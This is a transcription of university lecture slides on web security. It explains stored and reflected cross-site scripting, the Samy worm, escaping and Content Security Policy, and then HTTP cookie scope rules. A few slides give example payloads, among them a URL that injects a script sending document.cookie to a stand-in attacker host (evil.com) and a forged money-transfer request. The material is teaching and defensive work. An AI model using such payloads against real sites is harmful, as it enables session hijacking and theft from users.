Web Security: XSS; Sessions

Similar documents
XSS and CSRF Nov 6, 2018

Web Security, Part 2

Information Security CS 526 Topic 11

Information Security CS 526 Topic 8

Web basics: HTTP cookies

NET 311 INFORMATION SECURITY

WEB SECURITY: XSS & CSRF

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

CS 142 Winter Session Management. Dan Boneh

CS 5450 HTTP. Vitaly Shmatikov

Web Security: Cross-Site Attacks

Computer Security CS 426 Lecture 41

CSCE 813 Internet Security Case Study II: XSS

CIS 4360 Secure Computer Systems XSS

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Web Security II. Slides from M. Hicks, University of Maryland

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

CIS 5373 Systems Security

P2_L12 Web Security Page 1

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Content Security Policy

CS 161 Computer Security

CSC 482/582: Computer Security. Cross-Site Security

CS 161 Computer Security

last time: command injection

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Security for the Web. Thanks to Dave Levin for some slides

Security for the Web. Thanks to Dave Levin for some slides

CS155. *Original slides were created by Prof. Dan Boneh

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

RKN 2015 Application Layer Short Summary

7.2.4 on Media content; on XSS) sws2 1

CSCD 303 Essential Computer Security Fall 2018

Web Security: Vulnerabilities & Attacks

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

CS 155 Project 2. Overview & Part A

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

Presented By Rick Deacon DEFCON 15 August 3-5, 2007

CS 161 Computer Security

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

HTTP Security Headers Explained

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

CSCD 303 Essential Computer Security Fall 2017

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Web Application Security

CS526: Information security

Web Application Security. Philippe Bogaerts

Web Security IV: Cross-Site Attacks

Computer and Network Security

Web Application Security

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Web Application Security

Web Security Computer Security Peter Reiher December 9, 2014


Web Security [SSL/TLS and Browser Security Model]

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Browser code isolation

Application Design and Development: October 30

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

CS 161 Computer Security

CIS 551 / TCOM 401 Computer and Network Security. Spring 2008 Lecture 24

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

Client Side Injection on Web Applications

CSC 405 Computer Security. Web Security

Web Security: Authentication & UI-based attacks

Security. CSC309 TA: Sukwon Oh

Web security: an introduction to attack techniques and defense methods

October 08: Introduction to Web Security

CS Paul Krzyzanowski

Computer Security. 14. Web Security. Paul Krzyzanowski. Rutgers University. Spring 2018

John Coggeshall Copyright 2006, Zend Technologies Inc.

ICS 351: Today's plan. web scripting languages HTTPS: SSL and TLS certificates cookies DNS reminder

Web Applica+on Security

CS 161 Computer Security

Don't Trust The Locals: Exploiting Persistent Client-Side Cross-Site Scripting in the Wild

More attacks on clients: Click-jacking/UI redressing, CSRF

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

Web Application Security. Recap: System Security Prof. Dr. Michael Backes. CISPA Center for IT Security, Privacy and Accountabiltiy

Application vulnerabilities and defences

Common Websites Security Issues. Ziv Perry

Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side)

Reflected XSS Cross-Site Request Forgery Other Attacks

Some Facts Web 2.0/Ajax Security

s642 web security computer security adam everspaugh

Evaluating the Security Risks of Static vs. Dynamic Websites

Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Cookies, sessions and authentication

High -Tech Bridge s Web Server Security Service API Developer Documentation Version v1.3 February 13 th 2018

JOE WIPING OUT CSRF

HTTP Security. CSC 482/582: Computer Security Slide #1

COMP9321 Web Application Engineering

Exploiting and Defending: Common Web Application Vulnerabilities

The security of Mozilla Firefox s Extensions. Kristjan Krips

s642 web security computer security adam everspaugh

Transcription:

Web Security: XSS; Sessions CS 161: Computer Security Prof. Raluca Ada Popa Mar 22, 2018 Credit: some slides are adapted from previous offerings of this course or from CS 241 of Prof. Dan Boneh

SQL Injection Demo

XSS Attacks

Top web vulnerabilities 4

Cross-site scripting attack (XSS) Attacker injects a malicious script into the webpage viewed by a victim user Script runs in user s browser with access to page s data The same-origin policy does not prevent XSS

Two main types of XSS Stored XSS: attacker leaves Javascript lying around on benign web service for victim to load Reflected XSS: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back

Stored (or persistent) XSS The attacker manages to store a malicious script at the web server, e.g., at bank.com The server later unwittingly sends script to a victim s browser Browser runs script in the same origin as the bank.com server

Demo + fix

Stored XSS (Cross-Site Scripting) Attack Browser/Server evil.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 evil.com Inject malicious script Server Patsy/Victim bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 User Victim evil.com Inject malicious script Server Patsy/Victim Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 User Victim 2 re que st co nten t evil.com Inject malicious script Server Patsy/Victim Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 User Victim 2 re que st co 3 re nten ceiv t em alici ous scrip t evil.com Inject malicious script Server Patsy/Victim Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 User Victim 4 2 re que st co 3 re nten ceiv t em alici ous scrip t evil.com Inject malicious script Server Patsy/Victim execute script embedded in input as though server meant us to run it Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 2 re que User Victim st co 3 re nten ceiv t em alici 5 ous 4 perf scrip orm t atta cker execute script actio n embedded in input as though server meant us to run it evil.com Inject malicious script Server Patsy/Victim Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 evil.com Inject malicious script 2 re que User Victim st co 3 re nten ceiv t em alici Server Patsy/Victim 5 ous 4 perf scrip orm t atta cker execute script actio Stores n embedded in input the as though server script! meant to run it E.g.,usGET http://bank.com/sendmoney?to=drevil&amt=100000

Stored XSS (Cross-Site Scripting) Attack Browser/Server And/Or: al e t s 6 ata d e l b valua 1 2 re que User Victim st co 3 re nten ceiv t em alici 5 ous 4 perf scrip orm t atta cker execute script actio n embedded in input as though server meant us to run it evil.com Inject malicious script Server Patsy/Victim Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server And/Or: k 6 lea data e l b a valu 1 evil.com Inject E.g., GET http://evil.com/steal/document.cookie 2 re que User Victim st co 3 re nten ceiv t em alici 5 ous 4 perf scrip orm t atta cker execute script actio n embedded in input as though server meant us to run it malicious script Server Patsy/Victim Stores the script! bank.com

Stored XSS (Cross-Site Scripting) Attack Browser/Server k 6 lea data e l b a valu 1 2 re que User Victim st co 3 re nten ceiv t em alici 5 ous 4 perf scrip orm t atta cker execute script actio n embedded in input as though server meant us to run it evil.com Inject malicious script Server Patsy/Victim (A stored XSS attack) bank.com

XSS subverts the same origin policy Attack happens within the same origin Attacker tricks a server (e.g., bank.com) to send malicious script ot users User visits to bank.com Malicious script has origin of bank.com so it is permitted to access the resources on bank.com

MySpace.com (Samy worm) Users can post HTML on their pages MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> but can do Javascript within CSS tags: <div style= background:url( javascript:alert(1) ) > With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page and adds Samy as a friend. Samy had millions of friends within 24 hours. http://namb.la/popular/tech.html

Twitter XSS vulnerability User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

Stored XSS using images Suppose pic.jpg on web server contains HTML! request for http://site.com/pic.jpg results in: HTTP/1.1 200 OK Content-Type: image/jpeg <html> fooled ya </html> IE will render this as HTML (despite Content-Type) Consider photo sharing sites that support image uploads What if attacker uploads an image that is a script?

Reflected XSS The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript or malicious content The server echoes it back to victim user in its response Victim s browser executes the script within the same origin as bank.com

Reflected XSS (Cross-Site Scripting) Victim client

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi Attack Server evil.com Victim client

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec Victim client Attack Server evil.com

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec Attack Server Exact URL under attacker s control Victim client 3 click evil.com on l in k Server Patsy/Victim bank.com

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec Victim client 3 4 ech click o us Attack Server evil.com on l in er in k put Server Patsy/Victim bank.com

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec Victim client 3 4 5 execute script embedded in input as though server meant us to run it ech click o us Attack Server evil.com on l in er in k put Server Patsy/Victim bank.com

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec Victim client 3 4 ech click o us evil.com on l in k er in 6 p put erfo rm a ttac execute script ker actio embedded in input n as though server meant us to run it 5 Attack Server Server Patsy/Victim bank.com

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec ata d e l b alua v d n e 7 s And/Or: Victim client 3 4 5 execute script embedded in input as though server meant us to run it ech click o us Attack Server evil.com on l in er in k put Server Patsy/Victim bank.com

Reflected XSS (Cross-Site Scripting) ite s b e tw 1 visi age p s u o alici m e v ei 2 rec ata d e l b alua v d n e 7 s Victim client 3 4 ech evil.com ( Reflected XSS attack) click o us on l in k er in 6 p put erfo rm a ttac execute script ker actio embedded in input n as though server meant us to run it 5 Attack Server Server Patsy/Victim bank.com

Example of How Reflected XSS Can Come About User input is echoed into HTML response. Example: search field http://bank.com/search.php?term=apple search.php responds with <HTML> <TITLE> Search Results </TITLE> <BODY> Results for $term :... </BODY> </HTML> How does an attacker who gets you to visit evil.com exploit this?

Injection Via Script-in-URL Consider this link on evil.com: (properly URL encoded) http://bank.com/search.php?term= <script> window.open( "http://evil.com/?cookie = " + document.cookie ) </script> What if user clicks on this link? 1) 2) Browser goes to bank.com/search.php?... bank.com returns <HTML> Results for <script> </script> 3) Browser executes script in same origin as bank.com Sends to evil.com the cookie for bank.com

2006 Example Vulnerability Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were then redirected to a phishing site and prompted to enter sensitive financial data. Source: http://www.acunetix.com/news/paypal.htm

Trump s site hacked around elecions apparently reflected XSS!!!!

You could insert anything you wanted in the headlines by typing it into the URL a form of reflected XSS

Reflected XSS: Summary Target: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates Attacker goal: run script in user s browser with same access as provided to server s regular scripts (subvert SOP = Same Origin Policy) Attacker tools: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies Key trick: server fails to ensure that output it generates does not contain embedded scripts other than its own

How to prevent XSS?

Preventing XSS Web server must perform: Input validation: check that inputs are of expected form (whitelisting) Avoid blacklisting; it doesn t work well Output escaping: escape dynamic data before inserting it into HTML

Output escaping HTML parser looks for special characters: < > & <html>, <div>, <script> such sequences trigger actions, e.g., running script Ideally, user-provided input string should not contain special chars If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser Character Escape sequence < < > > & &amp " &#39;

Direct vs escaped embedding direct Attacker input: <html> Comment: <script> </script> </html> browser rendering Attack! Script runs! browser rendering Comment: <script> </script> <script> </script> escaped <html> Comment: <script> </script> </html> Script does not run but gets displayed!

Escape user input!

XSS prevention (cont d): Content-security policy (CSP) Have web server supply a whitelist of the scripts that are allowed to appear on a page Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts) Can opt to globally disallow script execution

Summary XSS: Attacker injects a malicious script into the webpage viewed by a victim user Script runs in user s browser with access to page s data Bypasses the same-origin policy Fixes: validate/escape input/output, use CSP

Session management

HTTP is mostly stateless Apps do not typically store persistent state in client browsers User should be able to login from any browser Web application servers are generally "stateless": Most web server applications maintain no information in memory from request to request Information typically stored in databases Each HTTP request is independent; server can't tell if 2 requests came from the same browser or user. Statelessness not always convenient for application developers: need to tie together a series of requests from the same user

HTTP cookies

Cookies A way of maintaining state Brows er GET Server http response contains Browser maintains cookie jar

Setting/deleting cookies by server GET Server HTTP Header: Set-cookie: NAME=VALUE ; The first time a browser connects to a particular web server, it has no cookies for that web server When the web server responds, it includes a Set-Cookie: header that defines a cookie Each cookie is just a name-value pair

View a cookie In a web console (firefox, tool->web developer->web console), type document.cookie to see the cookie for that site

Cookie policy A cookie can be accessed in mostly two ways: When a user visits a site, the user s browser sends automatically relevant cookies Javascript can access it via document.cookie The cookie policy specifies which cookies will be sent by the browser to which sites Cookie policy is different from same-origin policy

Cookie scope GET Server HTTP Header: Set-cookie: NAME=VALUE ; domain = (when to send) ; path = (when to send) scope When the browser connects to the same server later, it includes a Cookie: header containing the name and value, which the server can use to connect related requests. Domain and path inform the browser about which sites to send this cookie to

Cookie scope GET Server HTTP Header: Set-cookie: NAME=VALUE ; domain = (when to send) ; path = (when to send) secure = (only send over HTTPS); Secure: sent over https only https provides secure communication (privacy and integrity)

Cookie scope GET Server HTTP Header: Set-cookie: NAME=VALUE ; domain = (when to send) ; path = (when to send) secure = (only send over SSL); expires = (when expires) ; HttpOnly scope Expires is expiration date Delete cookie by setting expires to date in past HttpOnly: cookie cannot be accessed by Javascript, but only sent by browser

Cookie scope Scope of cookie might not be the same as the URL-host name of the web server setting it Rules on: 1. What scopes a URL-host name is allowed to set 2. When a cookie is sent to a URL

What scope a server may set for a cookie The browser checks if the server may set the cookie, and if not, it will not accept the cookie. domain: any domain-suffix of URL-hostname, except TLD [top-level domains, e.g..com ] example: host = login.site.com allowed domains disallowed domains login.site.com user.site.com.site.com othersite.com.com login.site.com can set cookies for all of.site.com but not for another site or TLD Problematic for sites like.berkeley.edu

When browser sends cookie GET //URL-domain/URL-path Cookie: NAME = VALUE Server Goal: server only sees cookies in its scope Browser sends all cookies in URL scope: cookie-domain is domain-suffix of URL-domain, and cookie-path is prefix of URL-path, and [protocol=https if cookie is secure ]

When browser sends cookie GET //URL-domain/URL-path Cookie: NAME = VALUE Server A cookie with domain = example.com, and path = /some/path/ will be included on a request to http://foo.example.com/some/path/subdirectory/hello.txt

Examples: Which cookie will be sent? cookie 1 name = userid value = u1 domain = login.site.com path = / non-secure cookie 2 name = userid value = u2 domain =.site.com path = / non-secure http://checkout.site.com/ cookie: userid=u2 http://login.site.com/ cookie: userid=u1, userid=u2 http://othersite.com/ cookie: none

Examples cookie 1 name = userid value = u1 domain = login.site.com path = / secure cookie 2 name = userid value = u2 domain =.site.com path = / non-secure http://checkout.site.com/ cookie: userid=u2 http://login.site.com/ cookie: userid=u2 https://login.site.com/ cookie: userid=u1; userid=u2 (arbitrary order)

Examples Web server at foo.example.com wants to set cookie with domain: domain Whether it will be set, and if so, where it will be sent to Credits: The Tangled Web: A Guide to Securing Modern Web Applications, by Michał Zalewski

Examples Web server at foo.example.com wants to set cookie with domain: domain Whether it will be set, and if so, where it will be sent to Credits: The Tangled Web: A Guide to Securing Modern Web Applications, by Michał Zalewski

Client side read/write: document.cookie Setting a cookie in Javascript: document.cookie = name=value; expires= ; Reading a cookie: alert(document.cookie) prints string containing all cookies available for document (based on [protocol], domain, path) Deleting a cookie: document.cookie = name=; expires= Thu, 01-Jan-70 document.cookie often used to customize page in Javascript

Viewing/deleting cookies in Browser UI Firefox: Tools -> page info -> security -> view cookies